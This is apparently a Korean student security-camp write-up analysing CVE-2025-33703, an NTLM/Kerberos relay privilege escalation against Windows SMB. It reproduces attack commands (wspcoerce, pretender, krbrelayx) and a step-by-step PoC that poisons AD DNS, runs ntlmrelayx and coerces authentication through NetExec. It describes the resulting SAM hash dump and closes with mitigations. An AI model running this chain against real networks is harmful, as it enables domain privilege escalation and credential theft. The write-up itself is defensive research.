[2025 SWING hackingcamp] Microsoft SMB 취약점 (CVE-2025-33703)

SMB 프로토콜이란?
SMB(Server Message Block)는 네트워크에서 파일과 프린터를 공유하기 위한 프로토콜이다. 클라이언트는 SMB를 통해 서버의 파일·디렉터리에 접근해 생성, 수정, 삭제 작업을 수행할 수 있으며, 프린터 공유도 가능하다. 만약 SMB 구현 또는 설정에 취약점이 존재하면, 같은 네트워크의 공격자가 트래픽을 가로채거나 인증을 중계(relay)하여 관리자 권한을 획득할 수 있다.

About CVE-2025-33703

CVE-2025-33703은 Windows SMB 서버에 영향을 주는 권한 상승 취약점으로, NTLM 릴레이 공격이 핵심 트리거다. 취약점의 기술적 배경은 다음과 같다.

  • NTLM 프로토콜의 한계

NTLM은 챌린지–응답 방식으로 동작하지만, 인증 세션이 특정 서비스/서버에 강하게 결합되어 있지 않다. 이로 인해 공격자는 중간에서 인증 메시지를 가로채 다른 서비스로 재전송(relay 또는 reflection)할 수 있다.

  • SMB 서명

SMB 통신 무결성을 보장하는 기능이다. 서버가 서명 검증을 강제하면 공격자가 메시지를 중계하더라도 서명 불일치로 연결이 거부된다. 반대로 서명 강제가 비활성화되어 있으면 릴레이가 가능해질 수 있다.

  • EPA(확장된 인증 보호)

인증을 특정 서비스 채널과 SPN(Service Principal Name)에 바인딩하여 릴레이를 어렵게 만드는 보호 기능이다. EPA가 활성화되면, 가로챈 토큰을 다른 서비스에 재사용하기가 훨씬 힘들어진다.

  • 인증 강제(Coercion) 기법

공격자는 PrinterBug, PetitPotam 등은 피해 호스트가 의도치 않게 NTLM 인증을 수행하도록 유도한다. 이때 생성된 인증 트래픽이 공격자에게 유출될 수 있다.

Root Cause

취약점은 서버 측에서 SMB 서명 또는 EPA가 강제되지 않을 경우, 공격자가 NTLM 인증 정보를 가로채 다른 서비스로 재사용(relay)할 수 있는 설정 취약성이 발생한다.

단계별로 나타나는 취약한 흐름과 공격 예시를 확인해보면 아래와 같다.

1
2
3
4
5
6
7
8
9
10
# 인증 강제
$ wspcoerce 'lab.redteam/user1:Password@client1.lab.redteam' \
file:////client11UWhRCAAAA...YBAAAA/path

# DNS/이름 해석 스푸핑으로 인증 방향 전환
$ sudo pretender -i eth1 --no-dhcp-dns --no-timestamps \
--spoof '*1UWhRCAAAA...YBAAAA*'

# Kerberos 티켓 릴레이 후 명령 실행
$ krbrelayx.py --target smb://client1.lab.redteam -c whoam
  1. 공격자는 wspcoerce나 NetExec과 같은 도구로 피해 호스트가 공격자 제어 SMB 서버로 인증하도록 강제한다. 보통 RPC API를 악용해 원격 SMB 연결을 유도한다.
  2. 공격자가 특수하게 만든 호스트 이름을 AD DNS에 등록하거나 pretender 등으로 로컬 이름 해석을 속이면, Kerberos 티켓이 공격자의 시스템을 피해자 호스트로 오인하도록 만들 수 있다.
  3. 이후 Kerberos 서비스 티켓을 캡처한 뒤, 수정된 krbrelayx.py로 원래 호스트에 티켓을 전송해 cifs/client1 SPN에 대해 컴퓨터 계정(client1$)으로 인증되게 한다.
  4. 그 결과 낮은 권한 세션이 아닌 시스템 수준 접근으로 이어져 권한 상승이 가능해진다.

Exploit

Exploit PoC를 통해 CVE-2025-33703를 분석해보자. PoC 체인은 AD 환경에서 다음 순서로 이뤄진다. PoC 동작 순서는 AD DNS 레코드 추가 → DNS 전파 확인 → ntlmrelayx 리스너 기동 → PetitPotam/Printerbug/DFSCoerce로 강제 인증 유도 → 유입된 NTLM 인증을 타깃에 릴레이하며 결과적으로 권한 상승을 수행할 수 있게 된다.

전체 코드는 reference를 통해서 확인할 수 있다.

1
STATIC_DNS_RECORD = "localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA"

AD DNS 존에 추가할 A 레코드의 호스트명을 지정한다. 이후 강제 인증이 이 이름으로 향하도록 유도한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
parser = argparse.ArgumentParser(...)
parser.add_argument("-u", "--username", required=True) # DOMAIN\user
parser.add_argument("-p", "--password", required=True)
parser.add_argument("-d", "--attacker-ip", required=True)
parser.add_argument("--dns-ip", required=True) # DC의 DNS IP
parser.add_argument("--dc-fqdn", required=True) # DC FQDN
parser.add_argument("--target", required=True) # 릴레이 타깃(FQDN)
parser.add_argument("--target-ip", required=True) # 코어싱 대상 IP
parser.add_argument("--cli-only", action="store_true")
parser.add_argument("--custom-command")
parser.add_argument("--socks", action="store_true")
parser.add_argument("-M", "--method", default="PetitPotam",
choices=["PetitPotam", "Printerbug", "DFSCoerce"])

Chain을 연결하는 데에 필요한 Active Directory DNS 타겟/ 파라미터를 CLI에서 받아온다.

1
2
3
4
5
6
7
8
9
10
11
12
def run_dnstool(user, password, attacker_ip, dns_ip, dc_fqdn):
dnstool_cmd = [
"python3", "dnstool.py",
"-u", user,
"-p", password,
"-a", "add",
"-r", STATIC_DNS_RECORD,
"-d", attacker_ip,
"-dns-ip", dns_ip,
dc_fqdn
]
subprocess.run(dnstool_cmd, check=True)

이후 Impacket의 dnstool.py를 호출해 AD DNS에 A 레코드를 추가한다. -r은 호스트명, -d는 해당 호스트명이 가리킬 공격자 IP다. 이는 내부에서 \\hostname 접근 시 공격자 IP로 해석되도록 만드는 ADIDNS 남용 준비 단계다.

1
2
3
4
5
6
7
8
9
10
11
def wait_for_dns_record(record, dns_ip, timeout=60):
start_time = time.time()
while time.time() - start_time < timeout:
result = subprocess.run(
["dig", "+short", record, f"@{dns_ip}"],
capture_output=True, text=True
)
if result.stdout.strip():
return True
time.sleep(2)
return False

이후 방금 등록한 FQDN이 DC DNS에서 응답되는지 dig로 폴링해 전파 여부를 확인한다. 이 단계가 성공해야 이후 코어싱으로 유도된 인증이 정확히 공격자 IP로 향한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def start_ntlmrelayx(target, cli_only=False, custom_command=None, socks=False):
if cli_only:
if custom_command:
cmd = ["impacket-ntlmrelayx", "-t", target, "-smb2support", "-c", custom_command]
else:
cmd = ["impacket-ntlmrelayx", "-t", target, "-smb2support"]
if socks:
cmd.append("-socks")
return subprocess.Popen(cmd)
else:
if custom_command:
cmd = ["xterm", "-hold", "-e", "impacket-ntlmrelayx", "-t", target, "-smb2support", "-c", custom_command]
else:
cmd = ["xterm", "-hold", "-e", "impacket-ntlmrelayx", "-t", target, "-smb2support"]
if socks:
cmd.append("--socks")
return subprocess.Popen(cmd)

ntlmrelayx를 실행해 지정된 타깃 서비스에 대한 릴레이를 대기한다. SMB 서명 미강제 등 취약한 설정일 때 릴레이가 성공한다. -c가 있으면 성공 후 원격 명령을 실행할 수 있고, socks를 사용하면 피벗 프록시로도 활용 가능하다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def run_petitpotam(target_ip, domain, user, password, cli_only=False, method="PetitPotam"):
command_str = (
f"nxc smb {target_ip} "
f"-d {domain} "
f"-u {user} "
f"-p '{password}' "
f"-M coerce_plus "
f"-o M={method} L=\"{STATIC_DNS_RECORD}\""
)
if cli_only:
subprocess.Popen(command_str, shell=True,
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
else:
subprocess.Popen(["xterm", "-e", "bash", "-c", command_str])

최종적으로 NetExec의 coerce_plus 모듈로 코어싱을 트리거한다. L 인자에 앞서 등록한 호스트명을 넣어 피해 호스트가 \\hostname으로 SMB 인증을 시도하게 만들고, 내부 DNS가 공격자 IP를 반환하도록 한다. 그 결과 NTLM 인증이 공격자에게 유입되며 ntlmrelayx가 이를 타깃으로 릴레이한다.


전체 흐름(main)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 1) DNS 레코드 추가
run_dnstool(args.username, args.password, args.attacker_ip, args.dns_ip, args.dc_fqdn)

# 2) 전파 확인 (도메인 추출해 FQDN 구성)
domain_name = ".".join(args.dc_fqdn.split(".")[1:])
full_record = f"{STATIC_DNS_RECORD}.{domain_name}"
if not wait_for_dns_record(full_record, args.dns_ip, timeout=60):
sys.exit(1)

# 3) ntlmrelayx 시작
ntlmrelay_proc = start_ntlmrelayx(args.target, args.cli_only, args.custom_command, args.socks)
time.sleep(5)

# 4) 코어싱 실행
domain, user = args.username.split("\\", 1)
run_petitpotam(args.target_ip, domain, user, args.password, args.cli_only, args.method)

즉, 요약하면, 코어싱 전에 DNS가 공격자 IP를 가리키도록 준비하고, 인증이 발생하자마자 ntlmrelayx가 이를 받아 타깃 서비스로 릴레이하게 된다.

PoC 실행

dnstool로 AD DNS A 레코드가 추가되고 dig로 전파가 확인된다. 이어 ntlmrelayx 리스너가 실행되고, NetExec coerce_plus로 PetitPotam 코어싱이 트리거된다. ntlmrelayx 로그에는 CLIENT01로부터 인증을 수신한 뒤 RemoteRegistry를 시작하고 SAM 해시를 덤프하는 과정이 나타난다.


CVE-2025-33703 Review

해당 취약점은 Microsoft의 2025년 6월 보안 업데이트를 통해 패치되었다고 알려져 있다. 해당 취약점의 악용을 방지하기 위해 아래와 같은 보안 조치를 권장한다.

  • 모든 Windows 호스트에서 SMB 서명 강제
  • 비정상 SMB 연결 시도 및 릴레이 지표 모니터링
  • AD DNS에서 의심스러운 호스트명(이상한 레이블) 상시 점검
  • 가능하면 NTLM 사용 최소화 및 EPA 활성화